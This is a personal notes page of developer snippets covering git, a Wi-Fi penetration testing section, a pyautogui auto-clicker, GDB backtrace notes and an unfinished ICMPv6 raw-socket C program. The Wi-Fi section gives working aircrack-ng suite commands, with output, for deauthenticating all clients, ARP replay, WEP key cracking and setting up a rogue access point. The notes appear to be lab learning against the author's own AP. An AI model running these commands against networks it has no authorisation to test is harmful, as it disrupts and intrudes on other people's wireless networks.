Handy Git Commands for a hard core developer

 Handy Git commands

1. 
Single line command to do git add of the list of files which are listed in git status
ChatGPT
git add $(git status -s | awk '{print $2}')

This command utilizes git status -s to get the short output of the current repository status. Then, it pipes the output to awk to extract the second field (the file paths). Finally, it uses git add to add all those files to the staging area.

Wi-Fi Penetrative Testing Handy Commands

Wi-Fi Penetrative Testing Commands

$ cat monitor_mode.py 
import os
os.system("sudo airmon-ng start wlp9s0")

$ sudo python3 monitor_mode.py 
Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
    PID Name
   1127 avahi-daemon
   1136 NetworkManager
   1170 wpa_supplicant
   1174 avahi-daemon
PHY Interface Driver Chipset
phy0 wlp9s0 iwlwifi Intel Corporation Wi-Fi 6 AX200 (rev 1a)
(mac80211 monitor mode vif enabled for [phy0]wlp9s0 on [phy0]wlp9s0mon)
(mac80211 station mode vif disabled for [phy0]wlp9s0)

$ iwconfig 
lo        no wireless extensions.
enp0s31f6  no wireless extensions.
wlp9s0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=-2147483648 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          

$ iwconfig 
lo        no wireless extensions.
enp0s31f6  no wireless extensions.
wlp9s0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=-2147483648 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          

$ iwconfig 
lo        no wireless extensions.
enp0s31f6  no wireless extensions.
wlp9s0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=-2147483648 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          
###################################################################################
$ sudo aireplay-ng --test wlan0mon
###################################################################################
19:00:49  Trying broadcast probe requests...
19:00:49  Injection is working!
19:00:51  Found 3 APs
19:00:51  Trying directed probe requests...
19:00:51  18:A6:F7:FE:09:A2 - channel: 13 - '1 I am Iron Man'
19:00:57   0/30:   0%
19:00:57  34:98:B5:07:25:00 - channel: 13 - 'NETGEAR07250D'
19:01:03   0/30:   0%
19:01:03  44:A5:6E:CB:58:C1 - channel: 11 - 'bridge_vlan-10'
19:01:09   0/30:   0%
############################################################################
MAC Address of the Cheap TP Link AP
############################################################################
18:a6:f7:fe:09:a2

Command to find out which channel an AP with below BSSID is running on:
###################################################################################sudo airodump-ng --bssid 18:a6:f7:fe:09:a2 wlp9s0mon

 CH  7 ][ Elapsed: 1 min ][ 2022-09-09 19:06 
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
 18:A6:F7:FE:09:A2  -46       88        0    0  13   65   OPN              1 I am Iron Man   <=== It's running on channel 13 and SSID is as displayed.                                                                                           
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
Packet injection 

###################################################################################(wlan.bssid==18:a6:f7:fe:09:a2) && (wlan.fc.type_subtype==0x08)
###############################################################################
This command will inject packets in the air directed towards the above mentioned TP link AP. 
###############################################################################
$ sudo aireplay-ng -9 -e "1 I am Iron Man" -a 18:a6:f7:fe:09:a2 wlp9s0mon -D -x 12
19:29:02  Trying broadcast probe requests...
19:29:02  Injection is working!
19:29:04  Found 1 AP 
19:29:04  Trying directed probe requests...
19:29:04  18:A6:F7:FE:09:A2 - channel: 0 - '1 I am Iron Man'
19:29:10   0/30:   0%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Note: -D option ensures that even if AP is not on, the packet injector would still push the packets to the air with the 
dest mac as the BSSID of that AP. 
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Sending De-auth to All the Connected Clients of an AP using packet injection via aireplay-ng tool
########################################################################################################
sudo aireplay-ng -0 5 -a 18:a6:f7:fe:09:a2 --ignore-negative wlp9s0mon

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ When the above command is issued, Deauth frame is sent to all the Stations of the 
@ AP. 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
16:38:01  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:02  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:02  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:03  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:03  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:04  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:04  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:05  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:05  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:05  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:06  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:06  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:07  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:07  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:08  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]
16:38:08  Sending DeAuth (code 7) to broadcast -- BSSID: [18:A6:F7:FE:09:A2]

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Command to view the list of clients connected to an AP:
The airodump-ng tool prepares the list of connected clients to the AP by reading the 
MAC address from the QOA Data packets. 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
airodump-ng -c 13 -a --bssid 18:a6:f7:fe:09:a2 wlp9s0mon


#######################################################################################
WEP : By pass shared key authentication
#######################################################################################

1. Use this command to check, which Channel the AP is currently in...
   
   sudo airodump-ng wlp9s0mon
Output:
########################################################################################################################
 CH  2 ][ Elapsed: 6 s ][ 2022-09-20 12:04 
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
 80:CC:9C:8D:D8:7F  -36        2        0    0  10  360   WPA2 CCMP   PSK  <length:  0>                                                              
 34:98:B5:07:25:00  -27       12        0    0  13  270   WPA2 CCMP   PSK  NETGEAR07250D                                                             
 1A:0C:6B:5C:C9:F7  -29        3        0    0   8  360   WPA2 CCMP   PSK  NETGEAR-Guest-endurance                                                   
 16:0C:6B:5C:C9:F7  -30        7        2    0   8  360   WPA2 CCMP   PSK  ORBI86-endurance                                                          
 18:A6:F7:FE:09:A2  -31        9        0    0  13   54e. WEP  WEP         1 I am Tony Stark  <==================== The AP is in channel 13.                                                        
 46:37:86:F3:72:C9  -32        2        0    0   8  360   WPA2 CCMP   PSK  NETGEAR-Guest-endurance                                                   
 3C:37:86:F3:72:C9  -32        6        0    0   8  360   WPA2 CCMP   PSK  <length:  0>                                                              
 42:37:86:F3:72:C9  -32        4        0    0   8  360   WPA2 CCMP   PSK  ORBI86-endurance                                                          
 C8:9E:43:1A:EB:29  -33        2        0    0   6  360   WPA3 CCMP   OWE  <length:  0>                                                              
 C8:9E:43:1A:EB:21  -40        2        0    0   6  360   WPA2 CCMP   PSK  ecizo-1                                                                   
 C8:9E:43:1A:EB:23  -37        2        0    0   6  360   WPA2 CCMP   PSK  ecizo-vlan3333                                                            
 C8:9E:43:1A:EB:22  -35        2        0    0   6  360   OPN              ecizo-vlan999     

2. Now, check for the above AP, the list of Clients connected to that AP.
sudo airodump-ng --bssid 18:A6:F7:FE:09:A2 --channel 13 --write "1 I am Tony Stark" wlp9s0mon
Output:
############################################################################################################################
 CH 13 ][ Elapsed: 30 s ][ 2022-09-20 12:07 
 BSSID              PWR   RXQ   Beacons   #Data, #/s  CH   MB     ENC   CIPHER 
 18:A6:F7:FE:09:A2  -31   100   329       85     0    13   54e.   WEP   WEP   
 BSSID              STATION             PWR   Rate      Lost    Frames  Note
 18:A6:F7:FE:09:A2  04:F1:28:3E:80:E7   -33   54e- 1e   399     75     <===== This is the MAC address of the STA connected to the AP. 
 
 
 
 3. The fundamental basis of cracking WEP is that we would need more data packets that are encrypted with same key, 
 to exploit the weakness in the WEP protocol. This can be done by sending repeated ARP packets to this AP. 
 Since, ARP packet has fixed protocol header, using aireplay tool, we can replay the ARP packets sent 
 from the connected STA to the AP. 
 
Command for ARP Spoofing:
############################################################################################################### 
sudo aireplay-ng -3 -b 18:A6:F7:FE:09:A2 -h 04:F1:28:3E:80:E7 wlp9s0mon

Output:
Read 66766 packets (got 2677 ARP requests and 35030 ACKs), sent 15987 packRead 66826 packets (got 2682 ARP requests and 35033 ACKs), sent 16037 packRead 66868 packets (got 2686 ARP requests and 35040 ACKs), sent 16086 packRead 66925 packets (got 2691 ARP requests and 35046 ACKs), sent 16136 packRead 66971 packets (got 2696 ARP requests and 35049 ACKs), sent 16187 packRead 67081 packets (got 2700 ARP requests and 35062 ACKs), sent 16236 pack^Cs...(499 pps)

Note: If ARP packet count is not increment, forcefully, inject a deauth packet for that STA to AP and the STA would disconnect and on re-connection ARP 
would be triggered by the STA and then, the aireplay-ng tool which is already running, would spoof the packet. INTERESTING STUFF !!!!


4. Now, start the WEP cracking:
#################################################################################################
aircrack-ng replay_arp-0920-142804.cap
Output:
##################################################################################################
Reading packets, please wait...
Opening replay_arp-0920-142804.cap
Read 8 packets.
   #  BSSID              ESSID                     Encryption
   1  18:A6:F7:FE:09:A2                            WEP (0 IVs)
Choosing first network as target.
Reading packets, please wait...
Opening replay_arp-0920-142804.cap
Read 8 packets.
1 potential targets
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 8 ivs.

                            Aircrack-ng 1.6 

              [00:00:00] TesAircrack-ng 1.6  (got 8 IVs)
   KB    depth   byte(vote)
    0    7/  8[00:00:00] TesAircrack-ng 1.6  (got 8 IVs)
    1    0/  3   33( 256) 58( 256) 91( 256) A5( 256) 
   KB    depth   byte(vote)0( 256) 59( 256) 94( 256) 
    0    0/  2[00:00:03] TesAircrack-ng 1.6  (got 8 IVs)
    1    0/  1   10( 256) 58( 256) 91( 256) A5( 256) 
   KB    depth   byte(vote)0( 256) 59( 256) 94( 256) 
    0    0/  2[00:00:03] TesAircrack-ng 1.6  (got 8 IVs)
    1    0/  1   10( 256) 58( 256) 91( 256) A5( 256) 
   KB    depth   byte(vote)0( 256) 59( 256) 94( 256) 
    0    0/  2[00:00:04] Tested 164353 keys (got 8 IVs)
    1    0/  1   10( 256) 58( 256) 91( 256) A5( 256) 
   KB    depth   byte(vote)0( 256) 59( 256) 94( 256) 
    0  255/256   FF(   0) 00(   0) 01(   0) 02(   0) 
    1    7/ 14   E4( 256) 00(   0) 01(   0) 02(   0) 
    2    7/  2   EE( 256) 00(   0) 01(   0) 02(   0) 
    3    7/  3   F2( 256) 00(   0) 01(   0) 02(   0) 
    4    0/  1   49( 512) 44( 256) 68( 256) A5( 256) 
Failed. Next try with 5000 IVs.


##########################################################################################
Command to create a Rouge Access point with same ESSID and different BSSID and MAC Address
##########################################################################################
 sudo airbase-ng --essid "1 I am Iron Man" --channel 13 wlp9s0mon














Python code to continuously press mouse button on the screen !!!!

 import pyautogui, sys

import time

print('Press Ctrl-C to quit.')


try:

    while True:

        # click after every 10 secs

        pyautogui.PAUSE=1

        pyautogui.click(x=-1000, y=400, clicks = 1, interval = 1, button='right')

        time.sleep(10)

        

        pyautogui.click(x=-1010, y=410, clicks = 1, interval = 1, button='right')

        

        

except KeyboardInterrupt:

    print('\n')


My GDB Notes

gdb notes:



1. How to do a reverse step gdb debugging ?? 


a. first run the program in the gdb using "run" command 

    and apply break at main(

b. do "target record-full"

c. do next 

and then, 

   reverse-step or reverse-next

   reverse-step", or "reverse-next".

      

 2. How to view custom command definitions

show user <custom command> 


How to generate backtrace with symbols and function name, when a program crashes

compilation command

neelkanth@ubuntu:~$ gcc -rdynamic test.c 

Stack Trace Output, when the code crashed with SIGSEGV

neelkanth@ubuntu:~$ ./a.out 
Entry func1 57
Entry: func3 34
Entry dummycrash 64
Entry: signalhandler 14
-- STACK TRACE START
0 ./a.out(signalhandler+0x77) [0x5568234ef2e0]
1 /lib/x86_64-linux-gnu/libc.so.6(+0x46210) [0x7f46fbe78210]
2 ./a.out(dummycrash+0x35) [0x5568234ef4f2]
3 ./a.out(func3+0x2f) [0x5568234ef3ff]
4 ./a.out(func2+0x12) [0x5568234ef431]
5 ./a.out(func1+0x2f) [0x5568234ef49d]
6 ./a.out(main+0x5b) [0x5568234ef579]
7 /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) [0x7f46fbe590b3]
8 ./a.out(_start+0x2e) [0x5568234ef1ae]
Exit: signalhandler 25
Sending PID: 2107, UID: 1000

C program:

 neelkanth@ubuntu:~$ cat test.c 

#include <stdio.h>

#include <unistd.h>

#include <signal.h>

#include <string.h>

#include <execinfo.h>

#include <stdlib.h>


void signalhandler(int signo)

{

int nptrs, i;

void *buffer[1024];

char **strings;


printf("Entry: %s %d\n", __func__, __LINE__);

printf("-- STACK TRACE START\n");

nptrs = backtrace(buffer, 1024);

strings = backtrace_symbols(buffer, nptrs);

if (strings == NULL) {

return ;

}   

for (i = 0; i < nptrs; ++i) {

printf("%d\t%s\n", i, strings[i]);

}

printf("Exit: %s %d\n", __func__, __LINE__);

printf("Sending PID: %ld, UID: %ld\n", getppid(), getuid());

exit(-1);

}

void func3()

{

printf("Entry: %s %d\n", __func__, __LINE__);

dummycrash();

printf("Exit: %s %d\n", __func__, __LINE__);

return;

}

void func2()

{

        func3();

printf("Entry: %s %d\n", __func__, __LINE__);

printf("Exit: %s %d\n", __func__, __LINE__);

return;

}

void func1()

{

printf("Entry %s %d\n", __func__, __LINE__);

func2();

printf("Exit: %s %d\n", __func__, __LINE__);

return;

}

void dummycrash()

{

printf("Entry %s %d\n", __func__, __LINE__);

char *temp = NULL;

        strcpy(temp, "crash");

printf("Exit: %s %d\n", __func__, __LINE__);

}


int main (int argc, char *argv[])

{

int nptrs, i;

void *buffer[1024];

char **strings;


signal(SIGSEGV, signalhandler);

func1();

while (1)

sleep (10);

return 0;

}


C Program on implementing ICMPv6 Router Solicitation Message using Raw sockets

C Program on implementing ICMPv6 Router Solicitation Message using Raw sockets



How to use the binary:

Neelkanth $sudo ./a.out

Invalid input : 1
Help section
=====================================
Enter 2 arguments:
1. Outgoing Interface Name
2. Source IPV6 Address
Input Arguments: (null)

Neelkanth $sudo ./a.out wlp4s0 fe80::ad6:3956:56b0:97d7

MAC address for interface wlp4s0 is 7c:b0:c2:19:8e:f8
Index for interface wlp4s0 is 3
The are bytes from the packets for calculating the checksum:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
fe80 0 0 0 ad6 3956 56b0 97d7 ff02 0 0 0 0 0 0 2 0 10 0 3a 8500 0 0 0 101 7cb0 c219 8ef8
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

sum: 4884
1's complement of sum is answer(Final Checksum): b77b

#####################################################

C Program Start here...

#####################################################

/*
 *##############################################################################################
 *
 *         ICMPv6 Router solicitation Multicast Message C program 
 *
 *##############################################################################################
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>           /* close() */
#include <string.h>           /* strcpy, memset(), and memcpy() */

#include <netdb.h>            /* struct addrinfo */
#include <sys/types.h>        /* needed for socket(), uint8_t, uint16_t */
#include <sys/socket.h>       /* needed for socket() */
#include <netinet/in.h>       /* IPPROTO_ICMPV6, INET6_ADDRSTRLEN */
#include <netinet/ip.h>       /* IP_MAXPACKET (which is 65535) */
#include <netinet/ip6.h>      /* struct ip6_hdr */
#include <netinet/icmp6.h>    /* struct icmp6_hdr and ICMP6_ECHO_REQUEST */
#include <arpa/inet.h>        /* inet_pton() and inet_ntop() */
#include <sys/ioctl.h>        /* macro ioctl is defined */
#include <bits/ioctls.h>      /* defines values for argument "request" of ioctl. */
#include <net/if.h>           /* struct ifreq */
#include <linux/if_ether.h>   /* ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD */
#include <linux/if_packet.h>  /* struct sockaddr_ll (see man 7 packet) */
#include <net/ethernet.h>

#include <errno.h>            /* errno, perror() */

/* Various Header Lengths  */
#define ETH_HDRLEN            14      /* Ethernet header length */
#define IPV6_HDRLEN           40      /* IPv6 header length */
#define ICMPV6_RS_HDRLEN          8      /* ICMPv6 header length for router solicitation */
#define ICMPV6_OPTION_HDLEN    8      /* ICMPv6 option header length for router solicitation */

/*
 * Function prototypes
 */
uint16_t checksum(uint16_t *, int);
uint16_t icmp6_checksum(struct ip6_hdr,
                         struct nd_router_solicit,
                         uint8_t *,
                         int);
char *allocate_strmem(int);
uint8_t *allocate_ustrmem(int);


/*
 *#####################################################################################
 *                            MAIN FUNCTION STARTS HERE
 *#####################################################################################
 */
int main (int argc, char **argv)
{
    int i, status, datalen, frame_length, sd, bytes;
    uint8_t *src_mac = NULL,
            *dst_mac = NULL,
            *ether_frame = NULL;

    struct addrinfo hints;
   
    char *interface = NULL,
         *src_ip = NULL,
         *multicast_icmpv6_dest_ipaddr = NULL;

    struct sockaddr_in6 dest_ipv6_header_multicast;
    struct sockaddr_in6 *dest_ipv6_header_multicast_ptr;

    struct sockaddr_ll device;
    void *tmp;
 
    struct ifreq ifr;
    char dest_mac_in_str[24] = {0};   

    /*
     * Structures for ipv6 , icmpv6 router Solicitation and
     * icmpv6 options header. 
     */
    struct ip6_hdr ipv6_hdr;
    struct icmp6_hdr icmphdr;
    struct nd_router_solicit rs;
    unsigned char icmpv6_option1[ICMPV6_OPTION_HDLEN]={0};   

    /*
     * argv[1]: Outgoing Interface
     * argv[2]: source ipv6 address
     * argv[3]: destination ipv6 address
     */
    if (argc != 3) {
        printf("Invalid input : %d\n", argc);
        printf("Help section\n"
                "=====================================\n"
                "Enter 2 arguments:\n"
                "1. Outgoing Interface Name\n"
                "2. Source IPV6 Address\n"
              );
        printf("Input Arguments: %s %s\n", argv[1], argv[2]);
        return -1;
    }


    /*
     * Allocate memory for various arrays.
     */
    src_mac     = allocate_ustrmem(6);
    dst_mac     = allocate_ustrmem(6);
    ether_frame = allocate_ustrmem(IP_MAXPACKET);
    interface   = allocate_strmem(40);
    src_ip      = allocate_strmem(INET6_ADDRSTRLEN);
    multicast_icmpv6_dest_ipaddr = allocate_strmem(INET6_ADDRSTRLEN);

    /*
     *****************************************************************************
     *   INTERFACE, SOURCE IPV6 ADDRESS, DESTINATION IPV6 ADDRESS,
     *   DESTINATION MAC ADDRESS  AND SOURCE MAC ADDRESS
     *****************************************************************************
     * */

    /* Interface to send packet through.  */
    strcpy(interface, argv[1]);

    /* Source IPv6 address: you need to fill this out */
    strcpy(src_ip, argv[2]);

    /* All Router Address  */
    strcpy(multicast_icmpv6_dest_ipaddr, "ff02::2");

    /* Set destination MAC address: you need to fill these out */
    strcpy(dest_mac_in_str, "33:33:00:00:00:02");
    sscanf(dest_mac_in_str, "%x:%x:%x:%x:%x:%x",
           (unsigned int *) &dst_mac[0],
           (unsigned int *) &dst_mac[1],
           (unsigned int *) &dst_mac[2],
           (unsigned int *) &dst_mac[3],
           (unsigned int *) &dst_mac[4],
           (unsigned int *) &dst_mac[5]);

    /* Submit request for a socket descriptor to look up interface.  */
    if ((sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
        perror("socket() failed to get socket descriptor for using ioctl() ");
        exit (EXIT_FAILURE);
    }

    /* Use ioctl() to look up interface name and get its MAC address.  */
    memset(&ifr, 0, sizeof (ifr));
    snprintf(ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
    if (ioctl(sd, SIOCGIFHWADDR, &ifr) < 0) {
        perror("ioctl() failed to get source MAC address ");
        return (EXIT_FAILURE);
    }
    close(sd);

    /* Copy source MAC address.  */
    memcpy(src_mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t));
    /*
     * Print Source MAC address of source interface from which the
     * packet will go out.
     */
    printf("MAC address for interface %s is ", interface);
    for(i=0; i<5; i++) {
        printf ("%02x:", src_mac[i]);
    }
    printf("%02x\n", src_mac[5]);
    /******************************************************************************/

    /*
     * Find interface index from interface name and store index in
     * struct sockaddr_ll device,
     * which will be used as an argument of sendto().
     */
    memset(&device, 0, sizeof (device));
    if ((device.sll_ifindex = if_nametoindex(interface)) == 0) {
        perror("if_nametoindex() failed to obtain interface index ");
        exit(EXIT_FAILURE);
    }
    printf("Index for interface %s is %i\n", interface, device.sll_ifindex);

   /*
    *#################################################################################
    *          THE ACTUAL ICMPV6 PACKET HEADER FORMATION BEGINS FROM THIS PLACE
    *#################################################################################
    */
    /* Fill out sockaddr_ll.   */
    device.sll_family = AF_PACKET;
    memcpy (device.sll_addr, src_mac, 6 * sizeof (uint8_t));
    device.sll_halen = 6;

    /*
     *
     *Frame 4282: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) on interface 0
      @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
      @                                 L2 Ethernet header
      @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
      Ethernet II, Src: IntelCor_19:8e:f8 (7c:b0:c2:19:8e:f8), Dst: IPv6mcast_ff:11:aa:6e (33:33:ff:11:aa:6e)
        Destination: IPv6mcast_ff:11:aa:6e (33:33:ff:11:aa:6e)
        Address: IPv6mcast_ff:11:aa:6e (33:33:ff:11:aa:6e)
        .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default)
        .... ...1 .... .... .... .... = IG bit: Group address (multicast/broadcast)
        Source: IntelCor_19:8e:f8 (7c:b0:c2:19:8e:f8)
        Address: IntelCor_19:8e:f8 (7c:b0:c2:19:8e:f8)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
        Type: IPv6 (0x86dd)
      @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
      @                                 L3 IPV6 header 
      @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
      Internet Protocol Version 6, Src: fe80::ad6:3956:56b0:97d7, Dst: ff02::1:ff00:1
        0110 .... = Version: 6
        .... 0000 0000 .... .... .... .... .... = Traffic Class: 0x00 (DSCP: CS0, ECN: Not-ECT)
        .... 0000 00.. .... .... .... .... .... = Differentiated Services Codepoint: Default (0)
        .... .... ..00 .... .... .... .... .... = Explicit Congestion Notification: Not ECN-Capable Transport (0)
        .... .... .... 0000 0000 0000 0000 0000 = Flow Label: 0x00000
        Payload Length: 32
        Next Header: ICMPv6 (58)
        Hop Limit: 255
        Source: fe80::ad6:3956:56b0:97d7
        Destination: ff02::1:ff00:1
     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
     @                                 ICMPV6 header   (24 bytes)
     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
      Internet Control Message Protocol v6
        Type: router Solicitation (135)
        Code: 0
        Checksum: 0x7c24 [correct]
        [Checksum Status: Good]
        Reserved: 00000000
        Target Address: fe80::1
     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
     @                                 ICMPV6 option header  (8 bytes)
     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
      ICMPv6 Option (Source link-layer address : 7c:b0:c2:19:8e:f8)
        Type: Source link-layer address (1)
        Length: 1 (8 bytes)
        Link-layer address: IntelCor_19:8e:f8 (7c:b0:c2:19:8e:f8)
    */

    /*         
     *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@         
     *                                  IPV6 HEADER 
     *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
     */
    /* 
     * 0 and 1)  IPv6 version (4 bits), Traffic class (8 bits), Flow label (20 bits)  = [32 bits or 4 bytes]
     * 2) Payload length = ICMP header(24 bytes) + ICMP option header(8 bytes)        =  [32 bytes]
     * 3) Next header (8 bits): 58 for ICMP                                           = [1 byte]
     * 4) Hop limit (8 bits): default to maximum value                                = [1 byte]
     * 5) Source IPv6 address (128 bits)                                              = [16 bytes]
     * 6) Destination IPv6 address (128 bits)                                          = [16 bytes]
     */
    ipv6_hdr.ip6_flow = htonl ((6 << 28) | (0 << 20) | 0);
    ipv6_hdr.ip6_plen = htons(ICMPV6_RS_HDRLEN + ICMPV6_OPTION_HDLEN);
    ipv6_hdr.ip6_nxt = IPPROTO_ICMPV6;
    ipv6_hdr.ip6_hops = 255;
    if ((status = inet_pton(AF_INET6, src_ip, &(ipv6_hdr.ip6_src))) != 1) {
        fprintf (stderr, "inet_pton() failed.\nError message: %s", strerror (status));
        exit (EXIT_FAILURE);
    }
    if ((status = inet_pton(AF_INET6, multicast_icmpv6_dest_ipaddr, &(ipv6_hdr.ip6_dst))) != 1) {
        fprintf (stderr, "inet_pton() failed.\nError message: %s", strerror (status));
        exit (EXIT_FAILURE);
    }


    /*
     *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
     *                                ICMPV6 HEADER
     *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
     */
    /*  Populate icmp6_hdr portion of router solicit struct. */
    memset(&rs, 0, sizeof(rs));
    rs.nd_rs_hdr.icmp6_type = ND_ROUTER_SOLICIT;                     /* 133 (RFC 4861) */
    rs.nd_rs_hdr.icmp6_code = 0;                                     /* zero for router solicitation (RFC 4861) */
    rs.nd_rs_hdr.icmp6_cksum = htons(0);                             /* zero when calculating checksum */
    rs.nd_rs_reserved = htonl(0);                                    /* Reserved - must be set to zero (RFC 4861) */

    /*
     *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                   
     *                             ICMPV6 OPTIONS HEADER               
     *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                   
     */
    icmpv6_option1[0] = 1;                        /* Option Type - "source link layer address" (Section 4.6 of RFC 4861) */
    icmpv6_option1[1] = ICMPV6_OPTION_HDLEN/8;    /* Option Length - units of 8 octets (RFC 4861) */
    for (i = 0; i < 6; i++) {
        icmpv6_option1[i+2] = (uint8_t) src_mac[i];
    }

    /*
     *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                   
     *                              Ethernet frame header.
     *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                   
     */

    #define ETH_DEST_MAC_OFFSET       0
    #define ETH_DEST_MAC_LEN          6   
    #define ETH_SRC_MAC_OFFSET        (ETH_DEST_MAC_OFFSET + ETH_DEST_MAC_LEN)
    #define ETH_SRC_MAC_LEN           6
    #define ETH_ETHERTYPE_LB_OFFSET   (ETH_SRC_MAC_OFFSET + ETH_SRC_MAC_LEN)
    #define ETH_ETHERTYPE_UB_OFFSET   (ETH_ETHERTYPE_LB_OFFSET + 1)
    #define ETHER_TYPE_LEN            2

    /*
     * Ethernet frame length =
     * ethernet header (MAC + MAC + ether type) + IP6 header + ICMPV6 header + ICMPV6 OPTIONS header
     */
